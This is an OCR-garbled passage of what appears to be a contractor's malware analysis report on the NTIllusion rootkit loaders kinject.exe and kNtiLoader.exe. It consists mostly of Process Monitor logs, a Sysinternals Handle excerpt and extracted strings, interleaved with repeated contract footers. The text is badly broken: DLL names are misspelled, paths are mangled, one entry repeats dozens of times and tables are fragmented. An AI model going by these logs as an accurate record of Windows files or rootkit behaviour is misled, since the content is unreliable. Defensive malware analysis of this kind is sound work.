2052, 14: 3076, 15:
3com_dmi, 16:
6to4svc.dll, 17:
axamom.dll, 18:
aaclient.dll, 19:
access.cpl, 20:
acctres.dll, 21:
acwiz.exe, 22:
acelpdec.ax, 23:
acledit.dll, 24: aclui.dll,
25: activeds.dll, 26:
activeds.tlb, 27:
actmovie.exe, 28:
actxprxy.dll, 29:
admparse.dll, 30:
adptf.dll, 31:
adslp.dll, 32:
adslp.dll, 33:
adsmext.dll, 34:
adts.dll, 35:
adsnt.dll, 36: adsw.dll, 37:
advis32.dll, 38:
advp.dll, 39:
advp.dll.mui, 40:
ahui.exe, 41: alg.exe,
42: alrsvc.dll, 43:
amcompat.dll, 44:
amstream.dll, 45:
ansi.sys, 46: apcups.dll,
47: append.exe, 48:
apshelp.dll, 49:
apngm.dll, 50:
apmgr.dll, 51:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract
number NBCHC80048. SBIR Data Rights apply.
cmmgr32.hlp, 173:
cmmmon32.exe, 174:
cmos.ram, 175:
cmpbk32.dll, 176:
cmprops.dll, 177:
cmsetacl.dll, 178:
cmstp.exe, 179:
cmutil.dll, 180:
cnbjmon.dll, 181:
cnetcfg.dll, 182:
cnvfat.dll, 183:
colbact.dll, 184:
Com, 185:
comaddin.dll, 186:
comcat.dll, 187:
comct32.dll, 188:
comdlg32.dll, 189:
comm.drv, 190:
command.com, 191:
commdlg.dll, 192:
comp.exe, 193:
compat.exe, 194:
compatui.dll, 195:
compmgmt.msc, 196:
compobj.dll, 197:
compstui.dll, 198:
comrepl.dll, 199:
comres.dll, 200:
comsdupd.exe, 201:
comsnap.dll, 202:
comsvcs.dll, 203:
comuid.dll, 204:
config, 205:
CONFIG.NT, 206:
CONFIG.TMP, 207:
confmsp.dll, 208:
conime.exe, 209:
console.dll, 210:
control.exe, 211:
convert.exe, 212:
corpol.dll, 213:
country.sys, 214:
credssp.dll, 215:
credui.dll, 216:
crt.dll, 217:
crypt32.dll, 218:
cryptdlg.dll, 219:
cryptdll.dll, 220:
cryptext.dll, 221:
cryptnet.dll, 222:
cryptsvc.dll, 223:
cryptui.dll, 224:
csc.dll, 225:
cscript.exe, 226:
cscui.dll, 227:
cssrv.dll, 228:
css.exe, 229:

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-42-
csseqchk.dll, 230:
cfmon.exe, 231:
ctl3d32.dll, 232:
ctl3dv2.dll, 233:
ctype.nls, 234:
c_037.nls, 235:
c_10000.nls, 236:
c_10006.nls, 237:
c_10007.nls, 238:
c_10010.nls, 239:
c_10017.nls, 240:
c_10029.nls, 241:
c_10079.nls, 242:
c_10081.nls, 243:
c_1

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
faultrep.dll, 45:
faxpatch.exe, 46:
fc.exe, 47: fde.dll, 48:
fdeploy.dll, 49:
feclient.dll, 50:
filemgmt.dll, 51:
find.exe, 52:
findstr.exe, 53:
finger.exe, 54:
firewall.cpl, 55:
fixmapi.exe, 56:
fldrchr.dll, 57:
ftlib.dll, 58: ftlmc.exe, 59:
fmifs.dll, 60:
FNTCACHE.DAT, 61:
fontext.dll, 62:
fontslib.dll, 63:
fontview.exe, 64:
forcedos.exe, 65:
format.com, 66:
framebuf.dll, 67:
freecell.exe, 68:
fsmsgmt.msc, 69:
fsquirt.exe, 70:
fsusd.dll, 71: fsutil.exe, 72: ftp.exe, 73:
frschr.dll, 74: frwcfg.dll, 75: g711codec.ax, 76:
gb2312.uce, 77:
gcdef.dll, 78: gdi.exe, 79: gdi32.dll, 80:
GEARAspi.dll, 81:
gearsec.exe, 82:
geo.nls, 83: getmac.exe, 84: getname.dll, 85:
glmsf32.dll, 86:
glu32.dll, 87: gptedit.dll, 88: gptedit.msc, 89:
gpkscp.dll, 90:
gbkrsrc.dll, 91:
gpresult.exe, 92:
gptext.dll, 93:
gpupdate.exe, 94:
graftabl.com, 95:
graphics.com, 96:
graphics.pro, 97:
grpconv.exe, 98:
h323.tsp, 99:
h323log.txt, 100:
h323mspp.dll, 101:
HAL.DLL, 102:
hccoin.dll, 103:
hdwwiz.cpl, 104:
help.exe, 105:
hhctrl.ocx, 106:

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
hhsetup.dll, 107:
hid.dll, 108:
hidphone.tsp, 109:
himem.sys, 110:
hlkink.dll, 111:
hnetcfg.dll, 112:
hnetmon.dll, 113:
hnetwiz.dll, 114:
homepage.inf, 115:
hostname.exe, 116:
hotplug.dll, 117:
hsqlisp2.dll, 118:
hconcs.dll, 119:
hnml.iec, 120:
httpapi.dll, 121:
htui.dll, 122:
hypertrm.dll, 123:
iac25_32.ax, 124:
ias,
125:
iasiercct.dll, 126:
iassads.dll, 127:
iashlpr.dll, 128:
iassnap.dll, 129:
iasspolcy.dll, 130:
iassrad.dll, 131:
iassrecst.dll, 132:
iasssam.dll, 133:
iassdo.dll, 134:
iassvcs.dll, 135:
iiaapi.dll, 136:
iicardie.dll, 137:
iiccvid.dll, 138:
iicfgnt5.dll, 139:
iicm32.dll, 140:
icmp.dll, 141:
icmui.dll, 142:
icravo3.rat, 143:
icxml, 144:
icwdbiol.dll, 145:
icwphbk.dll, 146:
ideograf.uce, 147:
idndl.dll, 148:
idq.dll, 149:
ie4uinit.exe, 150:
IE7Eula.rtf, 151:
ieakeng.dll, 152:
ieaksie.dll, 153:
ieakui.dll, 154:
ieapfltr.dat, 155:
ieapfltr.dll, 156:
ieckes32.dll, 157:
ieencode.dll, 158:
ieframe.dll, 159:
ieframe.dll.mui, 160:
iepeers.dll, 161:
iepnone.dll, 162:
ieputil.dll, 163:
iesetup.dll, 164:
ieudinit.exe, 165:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

The contents of this report were produced by SAIC, Inc., under contract to HBGarby, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
mssap.dll, 155:
msscds32.ax, 156:
mscep.dll, 157:
msscript.occ, 158:
mssha.dll, 159:
msshavmsg.dll, 160:
mssign32.dll, 161:
mssip32.dll, 162:
msswch.dll, 163:
msswchx.exe, 164:
mstask.dll, 165:
mstext40.dll, 166:
mstime.dll, 167:
mstexti.exe, 168:
mstlsapi.dll, 169:
mstsc.exe, 170:
mstscax.dll, 171:
mstutb.dll, 172:
msv1_0.dll, 173:
msvcbm50.dll, 174:
msvcbm60.dll, 175:
msvcirt.dll, 176:
msvcp50.dll, 177:
msvcp60.dll, 178:
msvcrtd.dll, 179:
msvcrtd20.dll, 180:
msvcrtd40.dll, 181:
msvfw32.dll, 182:
msvidc32.dll, 183:
msvidctl.dll, 184:
msvideo.dll, 185:
msw32p.dll, 186:
mswdat10.dll, 187:
mswebdvd.dll, 188:
mswmdm.dll, 189:
mswsock.dll, 190:
mswstr10.dll, 191:
msxbde40.dll, 192:
msxml.dll, 193:
msxml2.dll, 194:
msxml2r.dll, 195:
msxml3.dll, 196:
msxml3r.dll, 197:
msxml6.dll, 198:
msxml6r.dll, 199:
msxmlr.dll, 200:
msyuv.dll, 201:
mtxclu.dll, 202:
mtxdm.dll, 203:
mtxex.dll, 204:
mtxlegih.dll, 205:
mtxoci.dll, 206:
mtpxparhd.dll, 207:
mui,
mv.comput.dll,
mydocs.dll, 210:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
riched32.dll, 91:
rnr20.dll, 92: route.exe,
93: routemon.exe, 94:
routetab.dll, 95:
rpens4.dll, 96:
rpct4.dll, 97: rpcss.dll,
98: rsaci.rat, 99:
rsen.dll, 100:
rsfsaps.dll, 101:
rsh.exe, 102: rshx32.dll,
103: rsm.exe, 104:
rsm.dll, 105:
rsm.dll, 106:
rsm.dll, 107:
rsm.dll, 108:
rsm.dll, 109:
rsm.dll, 110:
rsm.dll, 111:
rsm.dll, 112:
rsm.dll, 113:
rsm.dll, 114:
rsm.dll, 115:
rsm.dll, 116:
rsm.dll, 117:
rsm.dll, 118:
rsm.dll, 119:
rsm.dll, 120:
rsm.dll, 121:
rsm.dll, 122:
rsm.dll, 123:
rsm.dll, 124:
rsm.dll, 125:
rsm.dll, 126:
rsm.dll, 127:
rsm.dll, 128:
rsm.dll, 129:
rsm.dll, 130:
rsm.dll, 131:
rsm.dll, 132:
rsm.dll, 133:
rsm.dll, 134:
rsm.dll, 135:
rsm.dll, 136:
rsm.dll, 137:
rsm.dll, 138:
rsm.dll, 139:
rsm.dll, 140:
rsm.dll, 141:
rsm.dll, 142:
rsm.dll, 143:
rsm.dll, 144:
rsm.dll, 145:
rsm.dll, 146:
rsm.dll, 147:
rsm.dll, 148:
rsm.dll, 149:
rsm.dll, 150:
rsm.dll, 151:
scrobj.dll, 152:
scrrun.dll, 153:
sdbinst.exe, 154:
sdhcinst.dll, 155:
sdpblb.dll, 156:
secedit.exe, 157:
seclogon.dll, 158:
secpol.msc, 159:
secupd.dat, 160:
secupd.sig, 161:
secur32.dll, 154:
security.dll, 155:
sethc.exe, 156: Setup,
setup.bmp, 176: setup.exe, 178:
setupapi.dll, 179:
setup.dll, 180:
setup.exe, 181:
setver.exe, 182:
sfc.dll, 183:
sfc.exe, 184:
sfcfiles.dll, 185:
sfc_os.dll, 186:
sfmapi.dll, 187:
shadow.exe, 188:
share.exe, 189:
shdoclc.dll, 190:
shdocvw.dll, 191:
shell.dll, 192:
shell32.dll, 193:
ShellExt, 194:
shellstyle.dll, 195:
shfolder.dll, 196:
shgina.dll, 197:
shimsu.dll, 198:
shimeng.dll, 199:
shimeng.dll, 200:
shlwapi.dll, 201:
shmedia.dll, 202:
shmigrate.exe, 203:
shrpubw.exe, 204:
shscrap.dll, 205:
shsvcs.dll, 206:
shutdown.exe, 207:
sigtab.dll, 208:
sigverif.exe, 209:
simdata.tlb, 210:
sisbkup.dll, 211:
skdll.dll, 212:
skeys.exe, 213:
slayerxp.dll, 214:
slbcs.p.dll, 215:
slbop.dll, 216:
slbccsp.dll, 217:
sloinst.dll, 218:
slextpk.dll, 219:
sigen.dll, 220:
slrundll.exe, 221:
slserv.exe, 222:
Sl_anet.acm, 223:
smbinst.exe, 224:
smlcfg.dll, 225:
smlsvc.exe, 226:
smss.exe, 227:
smtapi.dll, 228:
sndrec32.exe, 229:
sndvol32.exe, 230:
snmpapi.dll, 231:
snmpsnap.dll, 232:
softpub.dll, 233:
SoftwareDistribution, 234: sol.exe, 235:
sort.exe, 236:
sortkey.nls, 237:
sorttls.nls, 238:
sound.drv, 239:

C:\WINO

kinject.exe  QueryDirectory  S:\\system32  SUCCESS  wbdbase.mld, 21:  2084

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
wsecedit.dll, 135:
wshatm.dll, 136:
wshbth.dll, 137:
wshcon.dll, 138:
wshext.dll, 139:
wship6.dll, 140:
wshisn.dll, 141:
wshneths.dll, 142:
wshom.ocx, 143:
wshrm.dll, 144:
wshtcpip.dll, 145:
wsmnp32.dll, 146:
wsock32.dll, 147:
wstdecode.dll, 148:
wstpager.ax, 149:
wstrenderer.ax, 150:
wtsapi32.dll, 151:
wuapi.dll, 152:
wuapi.dll.mui, 153:
wuaclt.exe, 154:
wuaclt1.exe, 155:
wuaucpl.cpl, 156:
wuaucpl.cpl.manifest, 157:
wuaucpl.cpl.mui, 158:
wuaeng.dll, 159:
wuaeng.dll.mui, 160:
wuaeng1.dll, 161:
wuauserv.dll, 162:
wulctui.dll, 163:
wulctui.dll.mui, 164:
wupdmgr.exe, 165:
wups.dll, 166:
wups2.dll, 167:
wuwdb.dll, 168:
wzcldlg.dll, 169:
wzcsapi.dll, 170:
wzcsvc.dll, 171:
xactsrv.dll, 172:
xcopy.exe, 173:
xenroll.dll, 174:
xircom, 175:
xmlite.dll, 176:
xmprov.dll, 177:
xmprov.dll, 178:
xolehlp.dll, 179:
xpob2res.dll, 180:
xps1res.dll, 181:
xps2res.dll, 182:
xps3res.dll, 183:
zipfldr.dll

<table>
<thead>
<tr>
<th>kinject.exe</th>
<th>QueryDirectory</th>
<th>C:\WINDOWS</th>
<th>NO MORE FILES</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Sysystem32</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>kinject.exe</th>
<th>CloseFile</th>
<th>C:\WINDOWS</th>
<th>SUCCESS</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Sysystem32</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-58-
kinject.exe CreateFile C:\WINDOWS\System32\ntdll.dll SUCCESS 2084


kinject.exe QueryStandardInformationFile C:\WINDOWS\System32\ntdll.dll SUCCESS 2084


kinject.exe CreateFile C:\WINDOWS\System32\kernel32.dll SUCCESS 2084


kinject.exe QueryStandardInformationFile C:\WINDOWS\System32\locale.nls SUCCESS 2084


The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

kinject.exe  CreateFile  C:\WINO\S\system32\sorbotsbls.nls  SUCCESS  Desired Access: Read Data/List Directory, Read Attributes, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened 2084

kinject.exe  QueryStandardInformationFile  C:\WINO\S\system32\sorbotsbls.nls  SUCCESS  Desired Access: Read Data/List Directory, Read Attributes, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened 2084

kinject.exe  CreateFile  C:\Documents and Settings\210us\Desktop\kinject.exe  SUCCESS  Desired Access: Read Data/List Directory, Read Attributes, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened 2084

kinject.exe  QueryStandardInformationFile  C:\Documents and Settings\210us\Desktop\kinject.exe  SUCCESS  Desired Access: Read Data/List Directory, Read Attributes, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened 2084

kinject.exe  CreateFile  C:\WINDOW\S\system32\advapi32.dll  SUCCESS  AllocationSize: 618,496, EndOfFile: 617,472, NumberOfLinks: 1, DeletePending: False, Directory: False 2084

kinject.exe  QueryStandardInformationFile  C:\WINDOW\S\system32\advapi32.dll  SUCCESS  AllocationSize: n/a, OpenResult: Opened  AllocationSize: 618,496, EndOfFile: 617,472, NumberOfLinks: 1, DeletePending: False, Directory: False 2084

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

kinject.exe CreateFile C:\\WINDOWS\\system32\rpcre4.dll SUCCESS

kinject.exe QueryStandardInformationFile C:\\WINDOWS\\system32\rpcre4.dll SUCCESS

kinject.exe CreateFile C:\\WINDOWS\\system32\secur32.dll SUCCESS

kinject.exe QueryStandardInformationFile C:\\WINDOWS\\system32\secur32.dll SUCCESS

kinject.exe CreateFile C:\\WINDOWS\\system32\msvcrt.dll SUCCESS

kinject.exe QueryStandardInformationFile C:\\WINDOWS\\system32\msvcrt.dll SUCCESS

kinject.exe CreateFile C:\\WINDOWS\\system32\ctype.nls SUCCESS

kinject.exe QueryStandardInformationFile C:\\WINDOWS\\system32\ctype.nls SUCCESS


Desired Access: Read Data/List Directory, Read Attributes, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened AllocationSize: 2084
kinject.exe  CreateFile  C:\WINDOW\System32\ntdll.dll  SUCCESS  AllocationSize: n/a, OpenResult: Opened

- The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply. -
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kinject.exe RegQueryValue Server\TSApp\CompatHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalServer\TSApp\CompatHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalSUCCE
SS
Type: REG_DWORD,
Length: 4, Data: 0

kinject.exe RegCloseKey Server C:\WINDOWS\S\system32\ad
vapi32.dllSUCCESS
Image Base:
0x77d0000, Image

kinject.exe Load Image C:\WINDOWS\S\system32\rp
crt4.dllSUCCESS
Size: 0x92000, Image

kinject.exe Load Image C:\WINDOWS\S\system32\se
cur32.dllSUCCESS
Size: 0x11000, Image

kinject.exe Load Image HKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalSUCCE
SS
Desired Access: Read

kinject.exe RegOpenKey Server HKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalSUCCE
SS
Desired Access: Read

kinject.exe RegQueryValue Server\TSApp\CompatHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalServer\TSApp\CompatHKLM\Syste
m\CurrentCont
rolSet\Control\T
erminalSUCCE
SS
Type: REG_DWORD,
Length: 4, Data: 0

kinject.exe RegCloseKey Server HKLM\Software\M
icrosoft\W
indows\NT\CurrentVe
rsion\Image
File Execution
Options\Secur
32.dllNAME
NOT
FOUND
Desired Access: Read

kinject.exe RegOpenKey Server HKLM\Software\M
icrosoft\W
indows\NT\CurrentVe
rsion\Image
File Execution
Options\Secur
32.dllNAME
NOT
FOUND
Desired Access: Read

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kinject.exe  RegOpenKey  HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ADV API32.DLL NAME NOT FOUND Desired Access: Read 2084

kinject.exe  RegOpenKey  HKLM\Software\Microsoft\Windows NT\CurrentVersion\Control\Terminal Server\BaseReg Key SUCCESS Desired Access: Read 2084

kinject.exe  RegQueryValue  HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogo\LeakTrackNAME NOT FOUND Length: 144 2084

kinject.exe  RegCloseKey  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogo SUCCESS 2084

kinject.exe  RegOpenKey  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogo\LeakTrack NAME NOT FOUND Desired Access: Read 2084

kinject.exe  RegOpenKey  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogo\LeakTrack\NAME NOT FOUND Desired Access: Read 2084

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kinject.exe  RegOpenKey  HKLM\Software\Microsoft\Windows\NT\CurrentVersion\Image File Execution Options\msvcr7.dll  NAME NOT FOUND  Desired Access: Read  2084
kinject.exe  RegOpenKey  HKLM\Software\Microsoft\Windows\NT\CurrentVersion\Image File Execution Options\ntdll.dll  NAME NOT FOUND  Desired Access: Read  2084
kinject.exe  RegOpenKey  HKLM\Software\Microsoft\Windows\NT\CurrentVersion\Image File Execution Options\kernel32.dll  NAME NOT FOUND  Desired Access: Read  User Time: 0.0000000, Kernel Time: 0.0200288  2084
kinject.exe  Thread Exit  SUCCESS  Exit Status: 0, User Time: 0.0100144, Kernel Time: 0.0000000, Private Bytes: 221,184, Peak Private Bytes: 225,280, Working Set: 872,448, Peak Working Set: 876,544  2084
kinject.exe  Process Exit  C:\Documents and Settings\210user\Desktop  SUCCESS  2084
kinject.exe  CloseFile  SUCCESS  2084

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The next section of the NTIlusion analysis will show the results of executing kNtiLoader.exe.

**Windows Task Manager kNtiLoader.exe**

![Windows Task Manager Screenshot]

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Handle kNtiLoader.exe

Below is an excerpt from Sysinternals Handle as you can see there are (7) as was shown in the above Task Manager screen shot.

------------------------------------------------------------------------------

kNtiLoader.exe pid: 2060 DELLLAPTOP3\210user

4: KeyedEvent \KernelObjects\CritSecOutOfMemoryEvent
8: Directory \KnownDls
10: Directory \BaseNamedObjects
14: Directory \Windows
18: Port
1C: Mutant \BaseNamedObjects\DBWinMutex

------------------------------------------------------------------------------

Process Explorer Properties Memory kNtiLoader.exe

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
GJu runtime error
TLOSS error
SING error
DOMAIN error
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
abnormal program termination
- not enough space for environment
- not enough space for arguments
- floating point not loaded
Microsoft Visual C++ Runtime Library Runtime Error!
Program: <program name unknown>
GetLastError
GetModuleHandleA
GetProcAddress
GetModuleFileNameA
GetCurrentProcess
TerminateProcess
GetEnvironmenStrings
FreeEnvironmentStrings
WideCharToMultiByte
VirtualFree
HeapFree
GetEnvironmentStrings
胂
SetHandleCount
GetStdHandle
GetFileType
HeapDestroy
HeapCreate
GetCPInfo
GetACP
HeapAlloc
VirtualAlloc
GetOEMCP
HeapReAlloc
MultiByteToWideChar
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
Loader> Hook should be set now...
Loader> Calling load function...
Loader> loading...
NTIllusion...
The next log provided is from Process Monitor. Like the one for kinject.exe kNtiLoader.exe is a large log but illustrates all files that it touched.

**Process Monitor kNtiLoader.exe**

<table>
<thead>
<tr>
<th>Process Name</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>kNtiLoader.exe</td>
<td>Process Start Thread</td>
<td></td>
<td>SUCCESS</td>
<td>Parent PID: 1424</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>Create</td>
<td>C:\Documents and Settings\210user\Desktop\kNtiLoader.exe</td>
<td>SUCCESS</td>
<td>Thread ID: 1684, Name: Documents and Settings\210user\Desktop\kNtiLoader.exe</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryNameI InformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\kNtiLoader.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x400000, Image Size: 0x6000</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c900000, Image Size: 0xaf000</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryNameI InformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\kNtiLoader.exe</td>
<td>SUCCESS</td>
<td>Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Attributes: n/a, ShareMode: None, AllocationSize: 4,096, EndOfFile: 3,212, NumberOfLinks: 1, DeletePending: False, Directory: False</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf</td>
<td>SUCCESS</td>
<td>OpenResult: Opened AllocationSize: 4,096, EndOfFile: 3,212, NumberOfLinks: 1, DeletePending: False, Directory: False</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>ReadFile</td>
<td>C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf</td>
<td>SUCCESS</td>
<td>Offset: 0, Length: 3,212</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CloseFile</td>
<td>C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf</td>
<td>SUCCESS</td>
<td>Desired Access: Read Attributes, Write Attributes, Synchronize, Disposition: Open, Options: Synchronous IO Non-Alert, Attributes: n/a, ShareMode: Read, Write, Delete,</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>Program</td>
<td>Command</td>
<td>Path</td>
<td>Result</td>
<td></td>
</tr>
<tr>
<td>------------------</td>
<td>--------------------------</td>
<td>------------</td>
<td>---------</td>
<td></td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryInformationVolume</td>
<td>C:</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td></td>
<td>FileSystemControl</td>
<td>C:</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryDirectory</td>
<td>C:\</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryDirectory</td>
<td>C:\</td>
<td>NO MORE FILES</td>
<td></td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CloseFile</td>
<td>C:\</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\DOCUMENTS AND SETTINGS</td>
<td>SUCCESS</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe  QueryDirect  C:\Documents and Settings  SUCCESS
kNtiLoader.exe  QueryDirect  C:\Documents and Settings  NO MORE
kNtiLoader.exe  CloseFile  C:\Documents and Settings  FILES

kNtiLoader.exe  CreateFile  C:\Documents and Settings\210user  SUCCESS

Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened
0: .., 1: .., 2: autoruns.exe, 3: DellLaptopBuild, 4: 

kNtiLoader.exe  QueryDirect  C:\Documents and Settings\210user  SUCCESS
kNtiLoader.exe  QueryDirect  C:\Documents and Settings\210user  NO MORE
kNtiLoader.exe  CloseFile  C:\Documents and Settings\210user  FILES

Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened
0: .., 1: .., 2: autoruns.exe, 3: 

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.


<table>
<thead>
<tr>
<th>Command</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>QueryDirectory</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td></td>
</tr>
<tr>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>CreateFile</td>
<td>C:\WINDOWS</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>QueryDirectory</td>
<td>C:\WINDOWS</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>


-74-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-76-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
### File List


### I/O Operations

<table>
<thead>
<tr>
<th>Process</th>
<th>Operation</th>
<th>Directory</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>kNTiLoader.exe</td>
<td>QueryDirect</td>
<td>C:\WINDOWS</td>
<td>NO MORE FILES</td>
</tr>
<tr>
<td>kNTiLoader.exe</td>
<td>CloseFile</td>
<td>C:\WINDOWS</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNTiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>


The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
ativvaxx.dll, 69:
atkctrs.dll, 70: atl.dll,
71: atmadm.exe, 72:
atmfd.dll, 73:
atmld.dll, 74:
atmpvno.dll, 75:
atrace.dll, 76:
attrib.exe, 77:
audiosrv.dll, 78:
auditusr.exe, 79:
authz.dll, 80:
autochk.exe, 81:
autoconv.exe, 82:
